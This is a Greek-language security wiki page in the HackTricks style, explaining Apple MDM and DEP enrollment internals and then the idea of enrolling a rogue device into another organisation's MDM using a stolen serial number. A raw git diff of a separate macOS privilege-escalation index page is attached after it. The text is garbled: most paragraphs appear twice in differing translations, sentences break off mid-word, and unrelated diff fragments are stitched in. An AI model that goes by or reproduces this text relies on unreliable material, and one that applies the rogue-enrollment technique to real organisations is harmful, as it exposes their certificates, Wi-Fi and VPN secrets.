Το [Mobile Device Management](https://en.wikipedia.org/wiki/Mobile\_device\_management) (MDM) χρησιμοποιείται για τη διαχείριση διάφορων συσκευών τελικών χρηστών, όπως smartphones, laptops και tablets. Ειδικά για τις πλατφόρμες της Apple (iOS, macOS, tvOS), περιλαμβάνει ένα σύνολο εξειδικευμένων χαρακτηριστικών, διεπαφών προγραμματισμού εφαρμογών (APIs) και πρακτικών. Η λειτουργία του MDM εξαρτάται από έναν συμβατό MDM διακομιστή, ο οποίος μπορεί να είναι εμπορικά διαθέσιμος ή ανοικτού κώδικα, και πρέπει να υποστηρίζει το [MDM Protocol](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Τα κύρια σημεία περιλαμβάνουν:
Το [Mobile Device Management](https://en.wikipedia.org/wiki/Mobile\_device\_management) (MDM) χρησιμοποιείται για τη διαχείριση διαφόρων συσκευών τελικών χρηστών όπως smartphones, laptops και tablets. Ειδικά για τις πλατφόρμες της Apple (iOS, macOS, tvOS), περιλαμβάνει ένα σύνολο εξειδικευμένων χαρακτηριστικών, APIs και πρακτικές. Η λειτουργία του MDM εξαρτάται από ένα συμβατό MDM server, το οποίο είναι είτε εμπορικά διαθέσιμο είτε ανοικτού κώδικα, και πρέπει να υποστηρίζει το [MDM Protocol](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Τα κύρια σημεία περιλαμβάνουν:
* Κεντρικός έλεγχος των συσκευών.
* Εξάρτηση από έναν MDM διακομιστή που συμμορφώνεται με το πρωτόκολλο MDM.
* Δυνατότητα του MDM διακομιστή να αποστέλλει διάφορες εντολές στις συσκευές, όπως απομάκρυνση δεδομένων ή εγκατάσταση ρυθμίσεων.
* Εξάρτηση από ένα MDM server που συμμορφώνεται με το πρωτόκολλο MDM.
* Δυνατότητα του MDM server να αποστέλλει διάφορες εντολές στις συσκευές, για παράδειγμα απομάκρυνση δεδομένων ή εγκατάσταση ρυθμίσεων.
### **Βασικά του DEP (Device Enrollment Program)**
Το [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP\_Guide.pdf) (DEP) που προσφέρεται από την Apple διευκολύνει την ενσωμάτωση της διαχείρισης συσκευών κινητής τηλεφωνίας (MDM) με τη δυνατότητα αυτόματης διαμόρφωσης για συσκευές iOS, macOS και tvOS. Το DEP αυτοματοποιεί τη διαδικασία εγγραφής, επιτρέποντας στις συσκευές να είναι λειτουργικές αμέσως μετά το ξεκίνημα, με ελάχιστη παρέμβαση από τον χρήστη ή τον διαχειριστή. Τα βασικά στοιχεία περιλαμβάνουν:
Το [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP\_Guide.pdf) (DEP) που προσφέρει η Apple διευκολύνει την ενσωμάτωση του Mobile Device Management (MDM) με τη διευκόλυνση της αυτόματης διαμόρφωσης για συσκευές iOS, macOS και tvOS. Το DEP αυτοματοποιεί τη διαδικασία εγγραφής, επιτρέποντας στις συσκευές να είναι λειτουργικές αμέσως μετά τον αποσυσκευασμό, με ελάχιστη παρέμβαση χρήστη ή διαχειριστή. Τα βασικά στοιχεία περιλαμβάνουν:
* Δυνατότητα στις συσκευές να εγγράφονται αυτόνομα σε έναν προκαθορισμένο MDM διακομιστή κατά την αρχική ενεργοποίηση.
* Χρήσιμο κυρίως για ολοκαίνουργιες συσκευές, αλλά εφαρμόσιμο και για συσκευές που υποβάλλονται σε αναδιαμόρφωση.
* Διευκολύνει μια απλή εγκατάσταση, καθιστώντας τις συσκευές έτοιμες για την οργανωτική χρήση γρήγορα.
* Επιτρέπει στις συσκευές να εγγράφονται αυτόνομα σε έναν προκαθορισμένο MDM server κατά την αρχική ενεργοποίηση.
* Χρήσιμο κυρίως για ολοκαίνουριες συσκευές, αλλά εφαρμόσιμο και για συσκευές που υποβάλλονται σε αναδιαμόρφωση.
* Διευκολύνει μια απλή εγκατάσταση, καθιστώντας τις συσκευές έτοιμες για οργανωτική χρήση γρήγορα.
### **Σκέψεις ασφαλείας**
Είναι σημαντικό να σημειωθεί ότι η ευκολία εγγραφής που παρέχει το DEP, ενώ είναι ωφέλιμη, μπορεί επίσης να δημιουργήσει κινδύνους ασφαλείας. Εάν δεν επιβάλλονται επαρκείς προφυλάξεις για την ε
Είναι κρίσιμο να σημειωθεί ότι η ευκολία εγγραφής που παρέχει το DEP, ενώ είναι χρήσιμη, μπορεί επίσης να δημιουργήσει κινδύνους ασφαλείας. Αν δεν επιβάλλονται επαρκείς προστατευτικές μέτρησεις για την εγγραφή στο MDM, οι επιτιθέμενοι ενδέχεται να εκμεταλλευτούν αυτήν την απλοποιημένη διαδικασία για να εγγράψουν τη συσκευή τους στο MDM server του οργανισμού, παριστάνοντας μια εταιρική συσκευή.
{% hint style="danger" %}
**Ειδοποίηση Ασφαλείας**: Η απλοποιημένη εγγραφή στο DEP θα μπορούσε πιθανόν να επιτρέψει τη μη εξουσιοδοτημένη εγγραφή συσκευών στο MDM server του οργανισμού εάν δεν υπάρχουν κατάλληλα μέτρα προστασίας.
{% endhint %}
### Τι είναι το SCEP (Simple Certificate Enrolment Protocol);
* Ένα σχετικά παλιό πρωτόκολλο, δημιουργημένο πριν από την ευρεία χρήση του TLS και του HTTPS.
* Δίνει στους πελάτες ένα τυποποιημένο τρόπο αποστολής ενός **Certificate Signing Request** (CSR) με σκοπό τη χορήγηση πιστοποιητικού. Ο πελάτης θα ζητήσει από τον διακομιστή να του δώσει ένα υπογεγραμμένο πιστοποιητικό.
### Τι είναι τα Configuration Profiles (επίσης γνωστά ως mobileconfigs);
* Η επίσημη της Apple μέθοδος **ορισμού/επιβολής των ρυθμίσεων του συστήματος.**
* Μορφή αρχείου που μπορεί να περιέχει πολλαπλά φορτία.
* Βασίζεται σε λίστες ιδιοτήτων (του είδους XML).
* "μπορεί να υπογραφεί και να κρυπτογραφηθεί για την επικύρωση της προέλευσής τους, τη διασφάλιση της ακεραιότητάς τους και την προστασία του περιεχομένου τους." Βασικά — Σελίδα 70, Οδηγός Ασφαλείας iOS, Ιανουάριος 2018.
## Πρωτόκολλα
### MDM
* Συνδυασμός των APNs (**Apple διακομιστές**) + RESTful API (**MDM διακομιστές προμηθευτών**)
* Η **επικοινωνία** πραγματοποιείται μεταξύ μιας **συσκευής** και ενός διακομιστή που σχετίζεται με ένα προϊόν διαχείρισης συσκευών
* Οι **εντολές** παραδίδονται από το MDM στη συσκευή σε **λεξικά κωδικοποιημένα σε plist**
* Όλα μέσω **HTTPS**. Οι MDM διακομιστές μπορούν να είναι (και συνήθως είναι) πιναρισμένοι.
* Η Apple χορηγεί στον προμηθευτή MDM ένα **πιστοποιητικό APNs** για πιστοποίηση
### DEP
* **3 APIs**: 1 για αντιπροσώπους, 1 για προμηθευτές MDM, 1 για ταυτότητα συσκευών (μη τεκμηριωμένο):
* Το ονομαζόμενο [DEP "cloud service" API](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Χρησιμοποιείται από τους MDM διακομιστές για τη συσχέτιση των προφίλ DEP με συγκεκριμένες συσκευές.
* Το [API DEP που χρησιμοποιείται από τους Εξουσιοδοτημένους Αντιπροσώπους της Apple](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html) για την εγγραφή συσκευών, τον έλεγχο της κατάστασης εγγραφής και την έλεγχο της κατάστασης συναλλαγής.
* Το μη τεκμηριωμένο ιδιωτικό API DEP. Χρησιμοποιείται από τις Συσκευές Apple για να ζητήσουν το προφίλ DEP τους. Στο macOS, το δυαδικό `cloudconfigurationd` είναι υπεύθυνο για την επικοινωνία μέσω αυτού του API.
* Πιο σύγχρονο και βασισμένο σε **JSON** (έναντι του plist)
* Η Apple χορηγεί ένα **OAuth token** στον προμηθευτή MDM
**DEP "cloud service" API**
* RESTful
* συγχρονίζει εγγραφές συσκευών από την Apple στον MDM server
* συγχρονίζει τα "προφίλ DE
### Βήμα 4: Έλεγχος DEP - Λήψη της Εγγραφής Ενεργοποίησης
Αυτό το μέρος της διαδικασίας συμβαίνει όταν ένας χρήστης εκκινεί ένα Mac για πρώτη φορά (ή μετά από πλήρη επαναφορά)
Αυτό το μέρος της διαδικασίας συμβαίνει όταν ένας **χρήστης εκκινεί ένα Mac για πρώτη φορά** (ή μετά από πλήρη επαναφορά)
![](<../../../.gitbook/assets/image (568).png>)
![](<../../../.gitbook/assets/image (1044).png>)
ή όταν εκτελείται η εντολή `sudo profiles show -type enrollment`
* Καθορίζει εάν τη συσκευή είναι ενεργοποιημένη η DEP
* Η Εγγραφή Ενεργοποίησης είναι το εσωτερικό όνομα για το προφίλ DEP
* Ξεκινά αμέσως μόλις η συσκευή συνδεθεί στο Διαδίκτυο
* Οδηγείται από το `CPFetchActivationRecord`
* Υλοποιείται από το `cloudconfigurationd` μέσω XPC. Ο "Βοηθός Ρύθμισης" (όταν η συσκευή εκκινείται για πρώτη φορά) ή η εντολή `profiles` θα επικοινωνήσει με αυτό το daemon για να λάβει την εγγραφή ενεργοποίησης.
* Καθορισμός εάν το συσκευή είναι ενεργοποιημένη για DEP
* Η Εγγραφή Ενεργοποίησης είναι το εσωτερικό όνομα για το **DEP "προφίλ"**
* Ξεκινά μόλις η συσκευή συνδεθεί στο Internet
* Καθορίζεται από το **`CPFetchActivationRecord`**
* Υλοποιείται από το **`cloudconfigurationd`** μέσω XPC. Το **"Βοηθός Ρύθμισης**" (όταν η συσκευή εκκινείται για πρώτη φορά) ή η εντολή **`profiles`** θα **επικοινωνήσει με αυτό το daemon** για να ανακτήσει την εγγραφή ενεργοποίησης.
* LaunchDaemon (τρέχει πάντα ως root)
Ακολουθούν μερικά βήματα για τη λήψη της Εγγραφής Ενεργοποίησης που πραγματοποιείται από το `MCTeslaConfigurationFetcher`. Αυτή η διαδικασία χρησιμοποιεί έναν κρυπτογραφικό αλγόριθμο που ονομάζεται Absinthe.
Ακολουθεί μερικά βήματα για τη λήψη της Εγγραφής Ενεργοποίησης που εκτελείται από το **`MCTeslaConfigurationFetcher`**. Αυτή η διαδικασία χρησιμοποιεί έναν κρυπτογράφηση που ονομάζεται **Absinthe**
1. Λήψη πιστοποιητικού
2. GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer)
3. Αρχικοποίηση κατάστασης από το πιστοποιητικό (`NACInit`)
4. Χρησιμοποιεί διάφορα δεδομένα που αφορούν τη συσκευή (π.χ. Αριθμός σειράς μέσω `IOKit`)
5. Λήψη κλειδιού συνεδρίας
6. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session)
7. Εγκαθιδρύει τη συνεδρία (`NACKeyEstablishment`)
8. Κάνει το αίτημα
9. POST στο [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile) αποστέλλοντας τα δεδομένα `{ "action": "RequestProfileConfiguration", "sn": "" }`
10. Το JSON payload κρυπτογραφείται χρησιμοποιώντας το Absinthe (`NACSign`)
11. Όλα τα αιτήματα γίνονται μέσω HTTPS, χρησιμοποιούνται ενσωματωμένα πιστοποιητικά ρίζας
1. Ανάκτηση **πιστοποιητικού**
1. GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer)
2. **Αρχικοποίηση** κατάστασης από το πιστοποιητικό (**`NACInit`**)
1. Χρησιμοποιεί διάφορα δεδομένα που είναι συσκευή-ειδικά (π.χ. **Αριθμός Σειριακού μέσω `IOKit`**)
3. Ανάκτηση **κλειδιού συνεδρίας**
1. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session)
4. Δημιουργία της συνεδρίας (**`NACKeyEstablishment`**)
5. Αποστολή του αιτήματος
1. POST στο [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile) αποστέλλοντας τα δεδομένα `{ "action": "RequestProfileConfiguration", "sn": "" }`
2. Το JSON payload κρυπτογραφείται χρησιμοποιώντας το Absinthe (**`NACSign`**)
3. Όλα τα αιτήματα γίνονται μέσω HTTPs, χρησιμοποιούνται ενσωματωμένα πιστοποιητικά ρίζας
![](<../../../.gitbook/assets/image (566).png>)
![](<../../../.gitbook/assets/image (566) (1).png>)
Η απάντηση είναι ένα JSON λεξικό με ορισμένα σημαντικά δεδομένα όπως:
Η απάντηση είναι ένα JSON λεξικό με μερικά σημαντικά δεδομένα όπως:
* **url**: URL του MDM προμηθευτή για το προφίλ ενεργοποίησης
* **anchor-certs**: Πίνακας DER πιστοποιητικών που χρησιμοποιούνται ως αξιόπιστα αγκυροποιητικά
* **url**: URL του κεντρικού οικοδεσπότη MDM για το προφίλ ενεργοποίησης
* **anchor-certs**: Πίνακας DER πιστοποιητικών που χρησιμοποιούνται ως αξιόπιστες ρίζες
### **Βήμα 5: Λήψη του Προφίλ**
### **Βήμα 5: Ανάκτηση Προφίλ**
![](<../../../.gitbook/assets/image (567).png>)
![](<../../../.gitbook/assets/image (444).png>)
* Αίτημα που αποστέλλεται στο **url που παρέχεται στο προφίλ DEP**.
* Τα **αγκυροποιητικά** χρησιμοποιούνται για να **αξιολογηθεί η εμπιστοσύνη** εάν παρέχονται.
* Αίτημα αποστέλλεται στο **url που παρέχεται στο προφίλ DEP**.
* Τα **πιστοποιητικά αγκύρωσης** χρησιμοποιούνται για την **αξιολόγηση της εμπιστοσύνης** εάν παρέχονται.
* Υπενθύμιση: η ιδιότητα **anchor\_certs** του προφίλ DEP
* Το αίτημα είναι ένα απλό .plist με τα στοιχεία αναγνώρισης της συσκευής
* Παραδείγματα: **UDID, έκδοση λειτουργικού συστήματος**.
* Υπογεγραμμένο με CMS, κωδικοποιημένο σε μορφή DER
* Υπογράφεται χρησιμοποιώντας το πιστοποιητικό ταυτότητας της συσκευής (από το APNS)
* Η αλυσίδα πιστοποιητικών περιλαμβάνει το ληγμένο Apple iPhone Device CA
* Το αίτημα είναι ένα απλό .plist με αναγνώριση συσκευής
* Παραδείγματα: **UDID, έκδοση OS**.
* Υπογραμμένο με CMS, DER-κωδικοποιημένο
* Υπογράφεται χρησιμοποιώντας το **πιστοποιητικό ταυτότητας συσκευής (από APNS)**
* Η **αλυσίδα πιστοποιητικών** περιλαμβάνει ληγμένο **Apple iPhone Device CA**
![](https://github.com/carlospolop/hacktricks/blob/gr/.gitbook/assets/image%20\(567\)%20\(1\)%20\(2\)%20\(2\)%20\(2\)%20\(2\)%20\(2\)%20\(2\)%20\(2\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(7\).png)
![](<../../../.gitbook/assets/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>)
### Βήμα 6: Εγκατάσταση του Προφίλ
### Βήμα 6: Εγκατάσταση Προφίλ
* Αφού ληφθεί, το **προφίλ αποθηκεύεται στο σύστημα**
* Αυτό το βήμα ξεκινά αυτόματα (εάν βρίσκεται στον **βοηθό ρύθμισης**)
* Οδηγείται από το
* Μόλις ανακτηθεί, το **προφίλ αποθηκεύεται στο σύστημα**
* Αυτό το βήμα ξεκινά αυτόματα (εάν βρίσκεστε στο **βοηθό ρύθμισης**)
* Καθορίζεται από το **`CPInstallActivationProfile`**
* Υλοποιείται από το mdmclient μέσω XPC
* LaunchDaemon (ως root) ή LaunchAgent (ως χρήστης), ανάλογα με το πλαίσιο
* Τα προφίλ ρυθμίσεων έχουν πολλαπλά φορτία για εγκατάσταση
* Το πλαίσιο έχει μια αρχιτεκτονική βασισμένη σε πρόσθετα για την εγκατάσταση προφίλ
* Κάθε τύπος φορτίου συσχετίζεται με ένα πρόσθετο
* Μπορεί να είναι XPC (στο πλαίσιο) ή κλασικό Cocoa (στο ManagedClient.app)
* Παράδειγμα:
* Τα φορτία Πιστοποιητικού χρησιμοποιούν το CertificateService.xpc
Συνήθως, το **προφίλ ενεργοποίησης** που παρέχεται από έναν πάροχο MDM θα **περιλαμβάνει τα ακόλουθα φορτία**:
* `com.apple.mdm`: για την **εγγραφή** της συσκευής στο MDM
* `com.apple.security.scep`: για την ασφαλή παροχή ενός **πιστοποιητικού πελάτη** στη συσκευή.
* `com.apple.security.pem`: για την **εγκατάσταση αξιόπιστων πιστοποιητικών CA** στο Κλειδί Συστήματος της συσκευής.
* Η εγκατάσταση του φορτίου MDM ισοδυναμεί με το **έλεγχο MDM** στην τεκμηρίωση
* Το φορτίο περιέχει βασικές ιδιότητες:
*
* Διεύθυνση URL Έλεγχου MDM (**`CheckInURL`**)
* Διεύθυνση URL Ερωτημάτων MDM (**`ServerURL`**) + θέμα APNs για να το ενεργοποιήσει
* Για την εγκατάσταση του φορτίου MDM, αποστέλλεται αίτημα στο **`CheckInURL`**
* Υλοποιείται στο **`mdmclient`**
* Το φορτίο MDM μπορεί να εξαρτάται από άλλα φορτία
* Επιτρέπει την **ανάθεση αιτημάτων σε συγκεκριμένα πιστοποιητικά**:
* Ιδιότητα: **`CheckInURLPinningCertificateUUIDs`**
* Ιδιότητα: **`ServerURLPinningCertificateUUIDs`**
* Παραδίδεται μέσω φορτίου PEM
* Επιτρέπει στη συσκευή να αναθέσει ένα πιστοποιητικό ταυτότητας:
* Ιδιότητα: IdentityCertificateUUID
* Παραδίδεται μέσω φορτίου SCEP
### **Βήμα 7: Ακρόαση για εντολές MDM**
* Αφού ολοκληρωθεί ο έλεγχος MDM, ο πάροχος μπορεί να **εκδώσει ειδοποιήσεις push χρησιμοποιώντας το APNs**
* Κατά τη λήψη, χειρίζεται από το **`mdmclient`**
* Για να ελέγξει για εντολές MDM, αποστέλλεται αίτημα στο ServerURL
* Χρησιμοποιεί το προηγουμένως εγκατεστημένο φορτίο MDM:
* **`ServerURLPinningCertificateUUIDs`** για ανάθεση αιτήματος
* **`IdentityCertificateUUID`** για πιστοποίηση TLS πιστοποιητικού πελάτη
## Επιθέσεις
### Εγγραφή Συσκευών σε Άλλους Οργανισμούς
Όπως αναφέρθηκε προηγουμένως, για να προσπαθήσετε να εγγράψετε μια συσκευή σε έναν οργανισμό **χρειάζεστε μόνο τον Αριθμό Σειριακού που ανήκει σε αυτόν τον Οργανισμό**. Μόλις η συσκευή εγγραφεί, πολλοί οργανισμοί θα εγκαταστήσουν ευαίσθητα δεδομένα στη νέα συσκευή: πιστοποιητικά, εφαρμογές, κωδικοί WiFi, ρυθμίσεις VPN [και άλλα](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\
Επομένως, αυτό θα μπορούσε

View file

@ -1,39 +1,40 @@
# Ασφάλεια και Επέκταση Προνομίων στο macOS
# Ασφάλεια & Ανόδος Προνομίων στο macOS
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Συμμετάσχετε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Συμμετέχετε** 💬 στην [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
Εγγραφείτε στον [**διακομιστή HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς ευρημάτων ασφαλείας!
Συμμετέχετε στο [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server για επικοινωνία με έμπειρους χάκερ και κυνηγούς ευρημάτων ασφαλείας!
**Εισαγωγή στο Χάκινγκ**\
Ασχοληθείτε με περιεχόμενο που εξερευνά τον ενθουσιασμό και τις προκλήσεις του χάκινγκ
**Εισαγωγή στο Hacking**\
Ασχοληθείτε με περιεχόμενο που εξετάζει την αγωνία και τις προκλήσεις του hacking
**Ειδήσεις Χάκινγκ σε Πραγματικό Χρόνο**\
Μείνετε ενημερωμένοι με τον γρήγορο ρυθμό του κόσμου του χάκινγκ μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο
**Ειδήσεις Hacking σε Πραγματικό Χρόνο**\
Μείνετε ενημερωμένοι με τον γρήγορο κόσμο του hacking μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο
**Τελευταίες Ανακοινώσεις**\
Μείνετε ενημερωμένοι με τις νεότερες ευρήματα ασφαλείας που κυκλοφορούν και τις κρίσιμες ενημερώσεις των πλατφορμών
Μείνετε ενήμεροι με τις νεότερες ανταμοιβές ευρημάτων και τις κρίσιμες ενημερώσεις πλατφόρμας
**Συμμετέχετε στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) **και αρχίστε να συνεργάζεστε με τους κορυφαίους χάκερ σήμερα!**
**Συμμετέχετε στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) και αρχίστε τη συνεργασία με κορυφαίους χάκερ σήμερα!
## Βασικά για το macOS
Εάν δεν είστε εξοικειωμένοι με το macOS, θα πρέπει να ξεκινήσετε με τις βασικές γνώσεις του macOS:
Αν δεν είστε εξοικειωμένοι με το macOS, θα πρέπει να αρχίσετε να μάθετε τα βασικά του macOS:
* Ειδικά αρχεία και δικαιώματα του macOS:
* Ειδικά αρχεία & δικαιώματα του macOS:
{% content-ref url="macos-files-folders-and-binaries/" %}
[macos-files-folders-and-binaries](macos-files-folders-and-binaries/)
@ -57,40 +58,74 @@
[mac-os-architecture](mac-os-architecture/)
{% endcontent-ref %}
* Συνηθισμένες υπηρεσίες και πρωτόκολλα δικτύου του macOS
* Συνηθισμένες υπηρεσίες & πρωτόκολλα δικτύου του macOS
{% content-ref url="macos-protocols.md" %}
[macos-protocols.md](macos-protocols.md)
{% endcontent-ref %}
* **Opensource** macOS: [https://opensource.apple.com/](https://opensource.apple.com/)
* Για να κατεβάσετε ένα `tar.gz` αλλάξτε μια διεύθυνση URL όπως [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) σε [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
* Για να κατεβάσετε ένα `tar.gz` αλλάξτε ένα URL όπως [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) σε [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
### Διαχείριση MDM στο macOS
### Διαχείριση Συστημάτων macOS MDM
Στις εταιρείες τα συστήματα **macOS** πιθανόν να διαχειρίζονται με ένα MDM. Επομένως, από την οπτική γωνία ενός επιτιθέμενου είναι ενδιαφέρον να γνωρίζει **πώς λειτουργεί** αυτό:
Στις εταιρείες τα συστήματα **macOS** είναι πιθανόν να διαχειρίζονται με ένα MDM. Επομένως, από την άποψη ενός επιτιθέμενου είναι ενδιαφέρον να γνωρίζει **πώς λειτουργεί αυτό**:
{% content-ref url="../macos-red-teaming/macos-mdm/" %}
[macos-mdm](../macos-red-teaming/macos-mdm/)
{% endcontent-ref %}
### Έλεγχος, Αποσφαλμάτωση και Fuzzing στο macOS
### macOS - Επιθεώρηση, Αποσφαλμάτωση και Fuzzing
{% content-ref url="macos-apps-inspecting-debugging-and-fuzzing/" %}
[macos-apps-inspecting-debugging-and-fuzzing](macos-apps-inspecting-debugging-and-fuzzing/)
{% endcontent-ref %}
## Προστασίες Ασφάλειας του macOS
## Προστασίες Ασφαλείας του macOS
{% content-ref url="macos-security-protections/" %}
[macos-security-protections](macos-security-protections/)
{% endcontent-ref %}
## Επιθέσεις
## Επιφάνεια Επίθεσης
### Δικαιώματα Αρχείων
Εάν ένα **διεργασία που εκτελείται ως root γράφει** ένα αρχείο που μπορεί να ελεγχθεί από έναν χρήστη, ο χρήστη
Αν ένα **διεργασία που τρέχει ως ριζοχρήστης γράφει** ένα αρχείο που μπορεί να ελεγχθεί από έναν χρήστη, ο χρήστης μπορεί να εκμεταλλευτεί αυτό για **ανόδο προνομίων**.\
Αυτό μπορεί να συμβεί στις ακόλουθες καταστάσεις:
* Το αρχείο που χρησιμοποιήθηκε είχε ήδη δημιουργηθεί από έναν χρήστη (ανήκε στον χρήστη)
* Το αρχείο που χρησιμοποιήθηκε είναι εγγράψιμο από τον χρήστη λόγω ενός γκρουπ
* Το αρχείο που χρησιμοποιήθηκε βρίσκεται μέσα σε έναν κατάλογο που ανήκει στον χρήστη (ο χρήστης θα μπορούσε να δημιουργήσει το αρχείο)
* Το αρχείο που χρησιμοποιήθηκε βρίσκεται μέσα σε έναν κατάλογο που ανήκει στο ριζοχρήστη αλλά ο χρήστης έχει δικαίωμα εγγραφής επάνω του λόγω ενός γκρουπ (ο χρήστης θα μπορούσε να δημιουργήσει το αρχείο)
Το να μπορεί κάποιος **να δημιουργήσει ένα αρχείο** που θα **χρησιμοποιηθεί από τον ριζοχρήστη**, επιτρέπει σε έναν χρήστη να **εκμεταλλευτεί το περιεχόμενό του** ή ακόμη να δημιουργήσει **συμβολικούς συνδέσμους/σκληρούς συνδέσμους** για να τον κατευθύνει σε άλλο μέρος.
Για αυτού του είδους τις ευπάθειες μην ξεχνάτε να **ελέγχετε ευάλωτους εγκαταστάτες `.pkg`**:
{% content-ref url="macos-files-folders-and-binaries/macos-installers-abuse.md" %}
[macos-installers-abuse.md](macos-files-folders-and-binaries/macos-installers-abuse.md)
{% endcontent-ref %}
### Επέκταση Αρχείου & Χειριστές εφαρμογών σχήματος URL
Παράξενες εφαρμογές που έχουν καταχωρηθεί από επεκτάσεις αρχείων μπορούν να εκμεταλλευτούνται και διαφορετικές εφαρμογές μπορούν να καταχωρηθούν για να ανοίγουν συγκεκριμένα πρωτόκολλα
{% content-ref url="macos-file-extension-apps.md" %}
[macos-file-extension-apps.md](macos-file-extension-apps.md)
{% endcontent-ref %}
## Ανόδος Προνομίων TCC / SIP στο macOS
Στο macOS **εφαρμογές και δυαδικά αρχεία μπορούν να έχουν δικαιώματα** πρόσβασης σε φακέλους ή ρυθμίσεις που τα καθιστούν πιο προνομιούχα από άλλα.
Επομένως, ένας επιτιθέμενος που θέλει να διακινδυνεύσει με επιτυχία ένα μηχάνημα macOS θα πρέπει να **αναβαθμίσει τα προνόμιά του στο TCC** (ή ακόμη και **να παρακάμψει το SIP**, ανάλογα με τις ανάγκες του).
Αυτά τα προνόμια συνήθως δίνονται στη μορφή **δικαιωμάτων** με τα οποία η εφαρμογή είναι υπογεγραμμένη, ή η εφαρμογή μπορεί να ζητήσει κάποιες προσβάσεις και μετά την **έγκριση του χρήστη** μπορούν να βρεθούν στις **βάσεις δεδομένων TCC**. Ένας άλλος τρόπος με τον οποίο μια διαδικασία μπορεί να αποκτήσει αυτά τα προνόμια είναι να είναι **παιδί μιας διαδικασίας** με αυτά τα **προνόμια**, καθώς συνήθως **κληρονομούνται**.
